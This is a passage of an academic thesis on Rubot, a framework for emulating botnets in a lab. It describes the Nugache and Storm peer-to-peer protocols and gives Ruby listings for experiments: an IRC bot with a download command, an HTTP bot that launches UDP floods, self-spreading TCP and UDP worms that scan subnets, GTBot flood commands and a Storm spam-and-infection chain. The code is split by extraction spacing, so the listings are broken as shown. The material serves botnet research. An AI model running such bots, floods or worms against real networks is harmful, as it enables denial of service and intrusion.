exclude, and select peers for various tasks. It may contain additional routing
information to enable these types of decisions. With connectionless transport
protocols, this subcomponent would commonly send keep-alive requests other
peers. With connection-based protocols, the presence of the connection is gen-
erally enough to verify that the peer is still active.
• Message Passing. The message passing subcomponent relays message, usually
commands, through the network, but is not responsible for formating the com-
mands for the network. Messages typically could contain commands and rarely
contain stolen information or malware updates. Messages could be routed or
broadcast throughout the network.
• Search/Publish. This handles the advertising and searching for resources in the
P2P network. Bots generally publish themselves to advertise their presence and
search for links to updates and spam templates.
• Presentation. Coined from the OSI model, the session subcomponent is respon-
sible for formatting requests from and to the other three subcomponents and
the network. The other modules send message to the session subcomponent
to be serialized, via whatever protocol specifications, into packets destined for
other nodes of the P2P network. This module only handles the P2P-based
communications and would not be used for other protocols and downloads.
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4.5.3.1 Simple TCP-based P2P Model
The simple TCP model uses TCP/IP to connect to peers. In general, the connections
are maintained unless one of the peers becomes unavailable (e.g., is turned off by the
user). These networks also attempt to keep a constant number of active peers, k, to
ensure robustness and efficiency. This component accepts the following configuration
parameters:
• bootstrap, a list of initial peers to contact to join the botnet.
• port, the TCP port to bind to. If set to nil, it selects a port automatically.
• callback, a callback to provide additional handling of received messages.
The default peer management for this model tracks the current peers and a few
disconnected peers (for future bootstrapping). When a node joins the network or
when it needs new peers to keep the average node degree, it will contact the bootstrap
server to discover new peers. In this model, the peers do not contact other random
peers for new neighbors.
Messages are relayed to all peers except the peer a message was received from. A
time stamp and a random value is used to identify and discard redundant or stale
messages. This technique prevents broadcast storms, but allows for timely and simple
dissemination of a message at the cost of bandwidth. As such, there is no routing
protocol–all messages go to all peers.
All peers are equal and any peer could give unauthenticated commands. In an
experiment, one node would simply be under the control of the researcher acting as
the botmaster and would send commands into the network. In future work, different
schemes for authenticating the commands could be devised.
This model will not search for or publish items into the network. This forms a
fully reactive botnet, i.e., bots do not poll for updates or commands, but instead wait
for commands to arrive.
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The presentation layer for this model will simply format the various messages for
the network in the simplest manner possible. This method serves as a basis for other
researchers to generate their models and should not have additional complexities.
4.5.3.2 Simple UDP-based P2P Model
This model is very similar to the simple TCP-based P2P model except it uses UDP
packets instead of TCP.
To keep state of peers, the protocol periodically sends and listen for keepalive
messages. If the network remains fairly static then the interval between hello messages
can be quite long, but if the network is highly volatile, then the node must react to
peer outage quickly to maintain a valid set of peers.
In this model, there is no central peer server and peers must query neighbors for
new peers. To query for new peers, a node sends a getpeers message to one of its
neighbors. The neighbor replies with a subset of randomly chosen peers from its peer
table.
This module supports the following configuration options:
• bootstrap, a list of initial peers to contact to join the botnet.
• port, the UDP port to bind to. If set to nil, it selects a port automatically.
• callback, a callback to provide additional handling of received messages.
4.5.3.3 Nugache P2P Model
Nugache’s peer management is very similar to the simple TCP model described above.
Nugache used TCP to connect to its bootstrap peers and fetched its initial neighbor
peers from the bootstrap nodes. Originally Nugache used TCP port 8 and became
known as the port 8-bot, but later versions randomized the TCP ports. The network
traffic is encrypted using 256-bit AES in output-feedback-mode (OFB). The keys were
randomly generated and exchanged using 512-bit RSA public key encryption.
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Nugache had a rich command-set with several programming primitives unseen
in most botnets, such as variables, loops, logical operations, and object orientation.
Instead of implementing the language dialect of Nugache, the Rubot model uses
Ruby as its scripting language. This allows the researcher a lot more flexibility and
familiarity. Commands were signed with a 4096-bit RSA key. The command was
hashed using MD5, then the hash was padded and encrypted using the botmaster’s
private RSA key.
About once an hour, a node adds another connection and occasionally drops a
current connection. This bot uses the P2P network it forms to download email tem-
plates. Since most of the behavior is defined within the model, the only configuration
options are the list of bootstrap IP addresses and the port number.
• bootstrap, a list of initial peers to contact to join the botnet.
• port, the TCP port to bind to.
4.5.3.4 Storm P2P Model
The StormBot module is separated into three main components as follows: the Storm-
Bot engine, Overnet engine, and TCP proxies. The StormBot engine starts the other
two components and generally directs them to discover peers and to relay commands
to the C&C. The Overnet engine maintains peering and search tables, periodically
publicizes itself to the network, and allows the StormBot engine to publish and search
for content. Since Storm uses a complex set of TCP proxies for routing commands
andWeb reverse proxying, the framework provides a subnode server, supernode proxy,
subcontroller proxy, and master proxy.
The Storm botnet uses the Overnet P2P protocol to communicate with peers. The
Overnet protocol uses UDP to connect to peers and support publishing and searching
of content using a distributed hash table (DHT). Storm’s implementation of the DHT
search algorithm is overly simplistic and uses a flat linked list of peers as opposed the
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the hierarchical data structure suggested by the protocol. Storm uses a 40-bit XOR
encryption key to encrypt all traffic since October 2007. The module provided in this
framework allows the researcher to form a botnet that speaks the encrypted Overnet
protocol on a closed network or on the Internet.
The Overnet protocol is used in the following manner. Subnodes publish (do not
confuse with publicize) a hash pair into the network. The first of the two hashes is
determined by a generation algorithm based on the date. There are two algorithms
in the Storm bot, one for unactivated nodes (subnodes) and activated nodes (su-
pernodes). The second hash encodes the subnode’s IP address and TCP server port
number. The subcontroller searches for these hashes in order to find subnodes that
can be promoted to supernodes. Supernodes publish themselves as well, but use the
activated hash as the key. This allows subnodes to find supernodes. So again, the
pattern is as follows:
• Subnodes publish inactive hashes and search for active hashes to find supern-
odes.
• Supernodes publish active hashes.
• Subcontrollers search for inactive hashes to find subnodes to activate.
This model implements the all the messages of the Overnet protocol, most of
which were used by Storm. The messages implemented follows:
• Connect(peer)
• ConnectReply(peers)
• Publicize(peer)
• PublicizeAck
• Search(stype,hash)
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• SearchNext(hash, peers)
• SearchInfo(hash, stype, min, max)
• SearchResult(hash1, hash2, tags)
• SearchEnd(hash)
• Publish(hash1, hash2, tags)
• PublishAck(hash)
• IdentifyReply(hash,ip,port)
• IdentifyAck(port)
• Firewall(hash,port)
• FirewallAck(hash)
• FirewallNack(hash)
• IPQuery(port)
• IPQueryAnswer(ip)
• IPQueryDone
• Identify
The subnode server receives the “breath-of-life” (BoL) message to upgrade it to
a supernode. The BoL message is encrypted with a 64-bit RSA key and contains
a list of subcontrollers. Supernode proxies serve as the primary reverse proxies for
the Storm botnet. When victims receive email, the links in the email point to the
supernodes. Supernodes forward requests to the subcontroller proxies, which forward
to the master proxy. The master proxy forwards to the main Apache webserver, which
57
is also under the control of the botmaster. Because of this distributed proxy structure,
it wax very hard to take down Storm’s hosting or to track where the botmaster’s main
controlled servers were. The communication between the proxies are obfuscated by
compression (zlib/gzip) and encoding (Base64). Each message was prepended with a
command header and length of the message.
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CHAPTER V
RUBOT EXPERIMENTS
To verify the flexibility and expressiveness of the Rubot experimentation framework,
several simple and advanced models were implemented and run on the Institute’s net-
works. Each experiment increments in difficulty of implementation and infrastructure
required over the previous experiment, culminating in the StormBot model. The ex-
periments were also designed to serve as a test suite over most of the framework’s
models.
5.1 The Rubot Experiments
There were ten major experiments, which collectively illustrate the flexibility, func-
tionality, and coverage of the framework. Since the framework focuses on network-
observable events, the experiments coverage the range of communication and actions.
For communication, the experiments cover IRC, HTTP, and several P2P protocols.
The experiments cover spamming, DDoSing, fast flux dns, downloading, proxying,
scanning, and hosting Web services. In the following subsections, each experiment is
explained and discussed.
5.1.1 IRC Bot
IRC has been a popular platform for botnet command and control (C&C) for a long
time and has many mature samples. This experiment tested that a large number of
IRC-bots can join a channel, receive commands from the botmaster, and execute the
commands. The following command were implemented in Listing 5.1:
1. !quit - causes the bot to terminate
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2. !download url - causes the bot to fetch the document at the URL
3. !hi msg - causes the bot to echo the message back to the IRC channel
These few commands were sufficient to show that the bot could properly terminate,
handle arbitrary call-backs, and give information back into the IRC channel.
#!/ usr / b in /env ruby
r e qu i r e ” socke t ”
r e qu i r e ” rubot ”
r e qu i r e ”open−u r i ”
# Precond i t ions : i r c d
class MyCallback
def c a l l ( rubot , nick , user , host , cmd , mynick , command)
case command
when /ˆ h i /
return ”PRIVMSG #{((mynick==’hexybot ’ ) ? n ick : mynick ) } : h i ”
when /ˆdownload ( . ∗ ) /
open ( $1 ) . read
when /ˆ qu i t /
rubot . stop
end
ni l
end
end
threads = [ ]
1 . upto (400) do | i |
i r c = Rubot : : IRCBot . new( ’ l o c a l h o s t ’ , 6667 , ’ hexybot ’+i . to s , ’#t e s t ’ ,
[ ” botmaster ” ] , MyCallback . new)
i r c . run
threads << i r c
end
threads . each do | thr | thr . j o i n end
Listing 5.1: IRC Bot Code
5.1.2 HTTP Bot
An HTTP-based bot operates by repeatedly requesting a Web page and interpreting
the result for commands. HTTP has become a very popular protocol recently as it
tends to evade detection. This experiment tested that the bot would poll our Web
server every 5 seconds and, if the page directed to, launch a UDP-based DDoS for 10
seconds against any target specified on the page. The code to launch the HTTP bot
and install the proper callbacks is listed in Listing 5.2.
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#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
# Precond i t ions : webserver and pktd
class MyCallback
def c a l l ( bot , code , body )
puts ” ca l l ba ck c a l l e d ”
i f body =˜ / qu i t /
bot . stop
end
m = body . match ( / t a r g e t : ( [ \ d \ . ]+ :\d+)/ i )
i f m
ip , port = m[ 1 ] . s p l i t ( / : / )
port = port . t o i
puts ” t a r g e t matched #{ip } #{port }”
Rubot : : UDPFlood . new( ip , port , 1 . 0 / 100 , 10) . run
end
end
end
h = Rubot : : HTTPBot . new(” http : // l o c a l h o s t :2080 /command . html” , 5 ,
MyCallback . new)
h . run
h . j o i n
Listing 5.2: HTTP Bot Code
5.1.3 Fast Flux Test
A fast flux DNS server changes its answers to DNS queries quite often, usually to
point to other compromised hosts. The other compromised hosts run a Web server,
or more often a reverse proxy to a Web server, which hosts the content for the
botmaster. These types of distributed DNS and Web hosting infrastructure is very
hard to counteract and take offline. Rubot provides a fast flux DNS model that allows
answers to be added or removed and will reply with a random set of answers each
time it is queried. Test code is provided in Listing 5.3.
#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
f f = Rubot : : FastFlux . new
f f . run
s l e e p 1
system ( ’ d ig −p 2053 @loca lhos t www. t e s t . com ’ )
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 70 ” , 500)
system ( ’ d ig −p 2053 @loca lhos t www. t e s t . com ’ )
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 71 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 72 ” , 500)
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f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 73 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 74 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 75 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 76 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 77 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 78 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 79 ” , 500)
system ( ’ d ig −p 2053 @loca lhos t www. t e s t . com ’ )
f f . d e l r e c o r d ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 76 ” )
system ( ’ d ig −p 2053 @loca lhos t www. t e s t . com ’ )
system ( ’ d ig −p 2053 @loca lhos t www. t e s t . com ’ )
f f . j o i n
Listing 5.3: Fast Flux Test Code
5.1.4 TCP P2P Bot
Supernode 
A
Supernode 
B
Bot D Bot E Bot F
Bot A Bot B Bot C Bot G Bot H Bot I
Bot L
Bot J Bot K
Me
Figure 21: TCP P2P Botnet Experiment Topology
The TCP P2P Botnet was the first peer to peer botnet developed in the framework.
This experiment uses TCP stream sockets to relay YAML-formatted messages to
peers. The peer management allowed bots to connect to supernodes, but the peers did
not search for new nodes. The experiment started two supernodes and 7 peer/client
bots each. One of the bots on the second supernode, Supernode B, was the botmaster
(labeled“Me”) and could inject arbitrary messages into the botnet, as shown in Figure
21. The code to set up the experiment is given in Listing 5.4, the supernode code
in Listing 5.5, and the TCP peer bot code in Listing 5.6. This experiment verified
62
that messages could be relayed through the botnet. Cyclical topologies were tested
to confirm that messages would not propagate endlessly, but rather would only be
sent once by each node.
#!/ usr / b in /env bash
for host in supernodeA supernodeB
do
xterm −T $host −e ssh −t $host ”cd rubot ; svn up ; . / exper iments /
supernode . rb” &
done
s l e e p 4
for host in botA botB botC botD botE botF
do
xterm −T $host −e ssh −t $host ”cd rubot ; svn up ; . / exper iments / tcpbot .
rb supernodeA :2008 ” &
done
for host in botG botH botI botJ botK
do
xterm −T $host −e ssh −t $host ”cd rubot ; svn up ; . / exper iments / tcpbot .
rb supernodeB :2008 ” &
done
xterm −T botL −e ssh −t botL ”cd rubot ; svn up ; . / exper iments / tcpbot . rb
supernodeA :2008 supernodeB :2008 ” &
. / exper iments / tcpbot . rb supernodeB :2008
Listing 5.4: Automation Script for TCP P2P Bot Experiment
#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
port = 2008
i f ARGV. length > 0
port = ARGV[ 0 ] . t o i
end
sn = Rubot : : TCPSuperNode . new( port ) do
Thread . cur rent . s t a r t
end
sn . j o i n
Listing 5.5: TCP P2P Supernode Code
#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
class MyCallback < Rubot : : Cal lback
def c a l l ( peer , msg)
i f msg . mtype == Rubot : : MessageType : :BROADCAST
puts ”#{msg . s r c } #{msg . data}”
i f msg . data =˜ /ˆQUIT/
$p2p . stop
end
end
end
end
mcb = MyCallback . new
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unless ARGV. length > 0
puts ”Usage : #{$0} <supernode : port> [< supernode : port >]”
e x i t
end
supernodes = [ ]
ARGV. each do | arg |
ip , port = arg . s p l i t ( / : / )
port = port . t o i
supernodes << Rubot : : Peer . new( ip , port , Rubot : : PeerType : :SUPERNODE, ni l )
end
$p2p = p2p = Rubot : : TCPPeerBot . new( supernodes , mcb) { Thread . cur rent .
s t a r t }
s l e e p 1
while p2p . running
r , , = IO . s e l e c t ( [ $ s td in ] , nil , nil , 5 )
i f r
r . each do | s |
buf = s . r e ad l i n e . chomp
msg = Rubot : : Message . new( ’ p2p ’ , ’ super ’ ,Rubot : : MessageType : :
BROADCAST, buf )
p2p . send (msg)
i f msg =˜ /ˆQUIT/
s l e e p 1
e x i t
end
end
end
end
p2p . j o i n
Listing 5.6: TCP P2P Bot Code
5.1.5 UDP P2P Bot
The UDP P2P Botnet started with a vary similar configuration to the TCP P2P
Botnet in that there were two starting nodes and various clients started with one
or both of the nodes. However, every node was equal in functionality and they
discovered new nodes when they contacted their bootstrap peer. The final topology,
after the experiment, is random with a bias towards nodes on the same bootstrap
peer due to the timing of how peers joined each node. The start up script is given in
Listing 5.7 and the bot code in Listing 5.8. This experiment also allowed the peers
to send arbitrary messages into the network to test for loop control and coverage.
Also, critical nodes (like the bootstrap nodes or the one peer that connected to both
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bootstrap nodes initially) would be killed after the topology finalized to show that
the botnet still had the ability to route messages.
#!/ usr / b in /env bash
for host in udp1 udp2
do
xterm −T $host −e ssh −t $host ”cd rubot ; ruby −d . / exper iments /udpbot .
rb 2008” &
done
s l e e p 4
for host in udp3 udp4 udp5 udp6 udp7 udp8 udp9 udp10
do
xterm −T $host −e ssh −t $host ”cd rubot ; ruby −d . / exper iments /udpbot .
rb udp1 : 2 0 0 8 ; s l e e p 120” &
done
for host in udp11 udp12 udp13 udp14 udp15
do
xterm −T $host −e ssh −t $host ”cd rubot ; ruby −d . / exper iments /udpbot .
rb udp2 : 2 0 0 8 ; s l e e p 120” &
done
xterm −T woodchipper −e ssh −t woodchipper ”cd rubot ; ruby −d . /
exper iments /udpbot . rb udp1 :2008 udp2 : 2 0 0 8 ; s l e e p 120” &
. / exper iments /udpbot . rb udp2 :2008
Listing 5.7: Automation Script for UDP P2P Bot Experiment
#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
class MyCallback < Rubot : : Cal lback
def c a l l ( peer , msg)
i f msg . mtype == Rubot : : MessageType : :BROADCAST
puts ”#{peer . ip } #{peer . port } : #{msg . s r c } #{msg . data}”
i f msg . data =˜ /ˆQUIT/
ex i t
end
e l s i f msg . mtype == Rubot : : MessageType : :GETPEERS RESP
ping = Rubot : : Message . new( nil , nil , Rubot : : MessageType : : PING REQ, (
rand ∗ 10E3) . t o i )
msg . data . each do | peer |
peer . data = $sn . s e rv
$sn . send ( ping , peer )
end
end
end
end
l p o r t = 0
i f ARGV. length > 0 and ARGV[ 0 ] =˜ /ˆ\d+$/
l p o r t = ARGV. s h i f t . t o i
end
supernodes = [ ]
ARGV. each do | arg |
ip , port = arg . s p l i t ( / : / )
port = port . t o i
supernodes << Rubot : : Peer . new( ip , port , Rubot : : PeerType : :SUPERNODE, ni l )
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end
mcb = MyCallback . new
$sn = sn = Rubot : : UDPPeerBot . new( supernodes , lpor t ,mcb) do
Thread . cur rent . s t a r t
end
s l e e p 1
puts ”My port i s #{sn . port }”
i f supernodes . l ength > 0
msg = Rubot : : Message . new( nil , nil , Rubot : : MessageType : : PING REQ, ( rand ∗
10E3) . t o i )
sn . send (msg)
s l e e p 10
msg = Rubot : : Message . new( nil , nil , Rubot : : MessageType : :GETPEERS REQ, ni l )
sn . send (msg)
end
s l e e p 15
puts ”My Peers : ”
sn . peermanagement . each do | peer |
puts ” #{peer . ip . r j u s t (15) } #{peer . port . t o s . r j u s t (5 ) }”
end
while buf = $s td in . r e ad l i n e . chomp
msg = Rubot : : Message . new( nil , nil , Rubot : : MessageType : :BROADCAST, buf )
sn . send (msg)
end
sn . j o i n
Listing 5.8: UDP P2P Supernode Code
5.1.6 TCP Worm
To experiment with TCP-based worms, the Vulnerable TCP Service model was de-
ployed on 14 nodes, some of which were behind firewalls, but reachable from other
nodes behind the same firewall that were not protected. This allowed for a network
to be hit, with only one exposed, vulnerable host, but it in turn can infect the other
vulnerable hosts in its network. In Figure 22, D2 serves as our “patient zero” (first
infected victim) and scans all four of the experiment networks. The A and B networks
are completely open, which the C and D networks have firewalls to prevent attacks.
Host C1, however, has an exception in the firewall, which allows it to be attacked
and then infect hosts C2 and C3. The Vulnerable TCP Service was started on all
the hosts, except D2, on which the TCP Worm model was started. D2 randomly
scanned the IP address spaces of the four networks (hitting many hosts that were not
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Figure 22: TCP Worm Experiment Network Setup
running the vulnerable service and raising several eyebrows at OIT). When it found
a vulnerable server, it would ‘infect’ it and the newly compromised host would also
begin to participate in the scanning and compromising of vulnerable servers. The
code for invoking the Vulnerable TCP Service is given in Listing 5.9 and the TCP
Worm model invocation is shown in Listing 5.10.
#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
r e qu i r e ’ open−u r i ’
i f ARGV. length == 0
puts ”Usage : #{$0} <port>”
e x i t
end
class IRCCallback
def c a l l ( rubot , nick , user , host , mynick , command)
case command
when /ˆ h i /
return ”PRIVMSG #{((mynick==’hexybot ’ ) ? n ick : mynick ) } : h i ”
when /ˆ qu i t /
rubot . d i s connec t
end
end
end
class MyCallback
def c a l l ( s e r v i c e , l i n e )
u r l = l i n e . match ( /http [ ˆ \”\ ’\?\∗\&]∗/ ) [ 0 ] . s t r i p
begin
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doc = open ( u r l ) . read
rescue Exception
end
$ i r c = Rubot : : IRCBot . new( ’ i r c s e r v e r ’ , 6667 , ’ hexybot ’+rand (10000) .
t o i . to s , ’#t e s t ’ , [ ” botmaster ” ] , IRCCallback . new) { Thread .
cur rent . s t a r t }
$v . stop
ra t e = l i n e . match ( / ra t e =([\d \ . ]+) / ) [ 1 ]
r a t e = ( ra t e ) ? ra t e . t o f : 0 . 5
model = Rubot : : RandomWithoutRepeatScan . new( ” 10 . 0 . 1 39 . 0/24
10 . 0 . 1 29 . 0/24 10 . 0 . 1 30 . 0/24 10 . 0 . 1 43 . 0/24 ” . s p l i t )
payload = l i n e
port = 2008
$worm = Rubot : :TCPWorm. new( rate , model , port , payload ) { Thread .
cur rent . s t a r t }
fa l se
end
end
port = ARGV[ 0 ] . t o i
e x p l o i t = Rubot : : Exp lo i t . new( /ˆGET.∗?\? u r l=http / , MyCallback . new)
v = $v = Rubot : : VulnerableTCPService . new ( [ e xp l o i t ] , port ) { Thread .
cur rent . s t a r t }
[ v , $ i r c , $worm ] . each { | x | x . j o i n }
Listing 5.9: Vulnerable TCP Service with TCP Worm Callback
#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
i f ARGV. length < 2
puts ”Usage : #{$0} <rate> <c idr> [< c idr> . . . ] ”
e x i t
end
r a t e = ARGV. s h i f t . t o f
model = Rubot : : RandomWithoutRepeatScan . new(ARGV)
payload = ”GET /hahaha? u r l=http :// example . com/&rat e=#{r a t e }\ r \n”
port = 2008
worm = Rubot : :TCPWorm. new( rate , model , port , payload ) { Thread . cur rent .
s t a r t }
worm . j o i n
Listing 5.10: TCP Worm Code
5.1.7 UDP Worm
The UDPWorm model works exactly like the TCP version, except that the vulnerable
service and the udp worm use UDP sockets as opposed to TCP. The code to invoke
the Vulnerable UDP Service model and the UDPWorm model are given, respectively,
in Listings 5.11 and 5.12.
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#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
r e qu i r e ’ open−u r i ’
i f ARGV. length == 0
puts ”Usage : #{$0} <port>”
e x i t
end
class IRCCallback
def c a l l ( rubot , nick , user , host , mynick , command)
case command
when /ˆ h i /
return ”PRIVMSG #{((mynick==’hexybot ’ ) ? n ick : mynick ) } : h i ”
when /ˆ qu i t /
rubot . d i s connec t
end
end
end
class MyCallback
def c a l l ( s e r v i c e , l i n e )
u r l = l i n e . match ( /http [ ˆ \”\ ’\?\∗\&]∗/ ) [ 0 ] . s t r i p
begin
doc = open ( u r l ) . read
rescue Exception
end
$ i r c = Rubot : : IRCBot . new( ’ i r c s e r v e r ’ , 6667 , ’ hexybot ’+rand (10000) .
t o i . to s , ’#t e s t ’ , [ ” botmaster ” ] , IRCCallback . new) { Thread .
cur rent . s t a r t }
$v . stop
ra t e = l i n e . match ( / ra t e =([\d \ . ]+) / ) [ 1 ]
r a t e = ( ra t e ) ? ra t e . t o f : 0 . 5
model = Rubot : : RandomWithoutRepeatScan . new( ” 10 . 0 . 1 39 . 0/24
10 . 0 . 1 29 . 0/24 10 . 0 . 1 30 . 0/24 10 . 0 . 1 43 . 0/24 ” . s p l i t )
payload = l i n e
port = 2008
$worm = Rubot : :UDPWorm. new( rate , model , port , payload ) { Thread .
cur rent . s t a r t }
fa l se
end
end
port = ARGV[ 0 ] . t o i
e x p l o i t = Rubot : : Exp lo i t . new( /ˆGET.∗?\? u r l=http / , MyCallback . new)
v = $v = Rubot : : VulnerableUDPService . new ( [ e xp l o i t ] , port ) { Thread .
cur rent . s t a r t }
[ v , $ i r c , $worm ] . each { | x | x . j o i n }
Listing 5.11: Vulnerable UDP Service with UDP Worm Callback
#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
i f ARGV. length < 2
puts ”Usage : #{$0} <rate> <c idr> [< c idr> . . . ] ”
e x i t
end
r a t e = ARGV. s h i f t . t o f
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model = Rubot : : RandomWithoutRepeatScan . new(ARGV)
payload = ”GET /hahaha? u r l=http :// example . com/&rat e=#{r a t e }\ r \n”
port = 2008
worm = Rubot : :UDPWorm. new( rate , model , port , payload ) { Thread . cur rent .
s t a r t }
worm . j o i n
Listing 5.12: UDP Worm Code
5.1.8 GTBot
The GTBot model is the simplest composite model in the Rubot framework. Com-
posite models are models that embody a combination of other models together to
emulate the behavior of a complete botnet sample. GTBot has one of the simplest
command set of the non-script based, common botnets and thus serves as a very con-
cise, straight-forward example of building a composite model. GTBot is controlled
via IRC and accepts the following commands:
1. !ver - echo the version back to the IRC channel.
2. !info - echo the platform, uptime, and user account to the IRC channel.
3. !scan - perform a network scan across the network on a given port.
4. !portscan - perform a port scan against a given host.
5. !stopscan - stop ongoing scans.
6. !packet - perform an ICMP flood attack against a given host.
7. !clone - perform an IRC clone flood attack against a given server.
8. !update - update the current bot with a configuration keyed by a given URL.
9. !die - shutdown.
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Since all of this functionality exists within the model, to launch an instance of GT-
Bot requires only two lines of code, specifically lines 3 and 4 of Listing 5.13. For
the experiment, the IRC channel was used to issue all the above commands to the
connected bots.
#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
gt = Rubot : : GTBot . new( ’ l o c a l h o s t ’ ,6667 , ’ IRCBot ’ , ’#t e s t ’ , [ ’ botmaster ’ ] )
gt . run
trap ( ”INT” ) { gt . stop }
gt . j o i n
Listing 5.13: GTBot Instance Code
5.1.9 Nugache
Nugache was one of the first peer-to-peer botnets that piqued the interest of security
researchers and it spread via AIM messages. Initially, this bot used TCP port 8 to
connect to the supernodes and to the peers it learned about. The communications are
protected with AES with RSA-protected key exchange. Instead of a command set,
Nugache enacts a limited scripting language, which allows for arbitrary commands to
be composed. In Rubot’s Nugache model, Ruby was used as the scripting language
and as such, any valid Ruby code can be executed within the framework, including
all the existing models within Rubot. All commands are signed with a 4096-bit RSA
key, just as in the real Nugache botnet. This model did not include the AOL instant
messenger (AIM)-based spreading command as this would be an abuse of AIM’s terms
of use and setting up our own AIM server was beyond the scope of this work.
The instantiation code for the Nugache peer is given in Listing 5.14 and the
controller in Listing 5.15. The experiment consisted of setting up a topology similar
to the TCP P2P botnet shown in Figure 21 and issuing Ruby commands to initialize
and run packeting attacks, Web downloads, and spamming.
#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
unless ARGV. length > 0 and ARGV[ 0 ] . t o i and ARGV[ 0 ] . t o i > 1024
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puts ”Usage : #{$0} <port> [< ip : port> . . . <ip : port >] # port must be
g r e a t e r than 1024”
e x i t
end
port = ARGV. s h i f t . t o i
pee r s = [ ]
ARGV. each do | pe |
ip , port = pe . s p l i t ( / : / )
port = port . t o i
pee r s << Rubot : : Peer . new( ip , port , Rubot : : PeerType : :SUPERNODE, ni l )
end
n = Rubot : : NugacheBot . new( port , pee r s )
n . run
$s td in . e a c h l i n e do |msg |
n . send ( nil , msg . chomp)
end
n . stop
n . j o i n
Listing 5.14: Nugache Bot
#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
unless ARGV. length > 0
puts ”Usage : #{$0} <ip : port> [ . . . <ip : port >] # port must be g r e a t e r
than 1024”
e x i t
end
peer s = [ ]
ARGV. each do | pe |
ip , port = pe . s p l i t ( / : / )
port = port . t o i
pee r s << Rubot : : Peer . new( ip , port , Rubot : : PeerType : :PEER, ni l )
end
$debug = true
n = Rubot : : NugacheControl ler . new( peer s )
n . run
$s td in . e a c h l i n e do |msg |
n . send ( nil , msg . chomp)
end
n . stop
n . j o i n
Listing 5.15: Nugache Controller
5.1.10 Storm
The Storm Botnet model is the most complicated model by far. There are two
protocols used by Storm: UDP-based Overnet for resource discovery and TCP-based
command channels for receiving spam templates and updates. Each of these protocols
72
are obfuscated and/or encrypted. Additionally, a lot of infrastructure is required for
the basic botnet to work. To understand this experiment, you may wish to reread
Section 4.5.3.4.
In the basic Storm experiment, we must start with a botmaster-controlled Web
server, a master proxy, and a subcontroller node. The subcontroller must know the
IP and port of the master proxy, and the master proxy must know the IP and port
of the Web server. After the initial infrastructure is in place, subnodes can join
the Overnet network and start publishing themselves as “unactivated” nodes. The
subcontroller will search the Overnet network for unactivated hashes and attempt
to activate nodes that it finds. Once a subnode is activated, it acts as a supernode
and publishes itself as an activated node. The remaining subnodes can then find the
new supernode and request spam templates from it. The supernode will proxy the
requests to the subcontoller, the subcontroller proxies to the master proxy, and the
master proxy to the Web server. The Web server then returns the spam template
through the series of proxies back to the subnodes, which in turn begin spamming.
This setup is illustrated in Figure 23. The thick, dashed lines denote the proxy
channel for commands and HTTP requests, while the thinner gray lines denote the
Overnet-based peer discovery. The dotted lines from the subnodes to the SMTP
server denote spamming activity. The victim checks its mail from the SMTP/POP3
server and follows the link embedded in the email to connect to the supernode via
the HTTP protocol. The supernode then encodes and proxies the connection to the
subcontroller. Once the victim receives the reply from the supernode, it pretends to
be exploited, downloads the “malware”, and joins the botnet as a subnode. The code
for this experiment is given in Listing 5.16.
#!/ usr / b in /env ruby
r e qu i r e ’ storm ’
in c lude Rubot
class MyCallback
def c a l l ( obj , peer , msg)
puts ”MyCallback :\n #{peer }\n #{msg}”
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end
end
class Pop3Callback
def i n i t i a l i z e ( pee r s )
@exp lo i t s = [ Explo i t . new( /p0wn3d/ , proc { puts ” I AM POWN3D! ” ; Storm
: : StormBot . new( pee r s . c l one ) }) ]
end
def c a l l (msg)
puts ”Pop3Callback”
p msg
i f msg =˜ / ( http .∗ html ) /
VulnerableWebBrowser . new ( [ $1 ] , 0 , @exp lo i t s ) . run
end
end
end
mcb = MyCallback . new
webservers = [ Storm : : TCPPeer . new( ’ 1 2 7 . 0 . 0 . 1 ’ ,2080) ]
mp = Storm : : MasterProxy . new( webservers )
masters = [ Storm : : TCPPeer . new( ’ 1 2 7 . 0 . 0 . 1 ’ ,mp. port ) ]
sc = Storm : : StormBot . new ( [ ] , mcb , Overnet : : PeerType : :SUBCONTROLLER, masters
)
subcons = [ Storm : : TCPPeer . new( ’ 1 2 7 . 0 . 0 . 1 ’ , s c . port ) ]
sn = Storm : : StormBot . new ( [ ] , mcb , Overnet : : PeerType : :SUPERNODE, subcons )
pee r s = [ sn . peer ]
sub = Storm : : StormBot . new( pee r s )
v i c t = Pop3EmailTrojan . new( ’ 1 2 7 . 0 . 0 . 1 ’ , ’ 2110 ’ , ’ v i c t im ’ , ’ v i c t im ’ , 10 ,
Pop3Callback . new( peer s ) , 1)
[mp, sc , sn , sub , v i c t ] . each { | x | x . run ; s l e e p 1}
[mp, sc , sn , sub , v i c t ] . each { | x | x . j o i n }
Listing 5.16: Storm Experiment Code
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Figure 23: Storm Experiment Peer Discovery and Command Proxy Setup
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CHAPTER VI
CONCLUSION
Botnets are the essential tool in the criminals’ arsenal to commit fraud, extortion, and
harassment online. The trend shows that botmasters are adding P2P-based botnets
to their repertoire because of their resilience to take down as shown by the Storm and
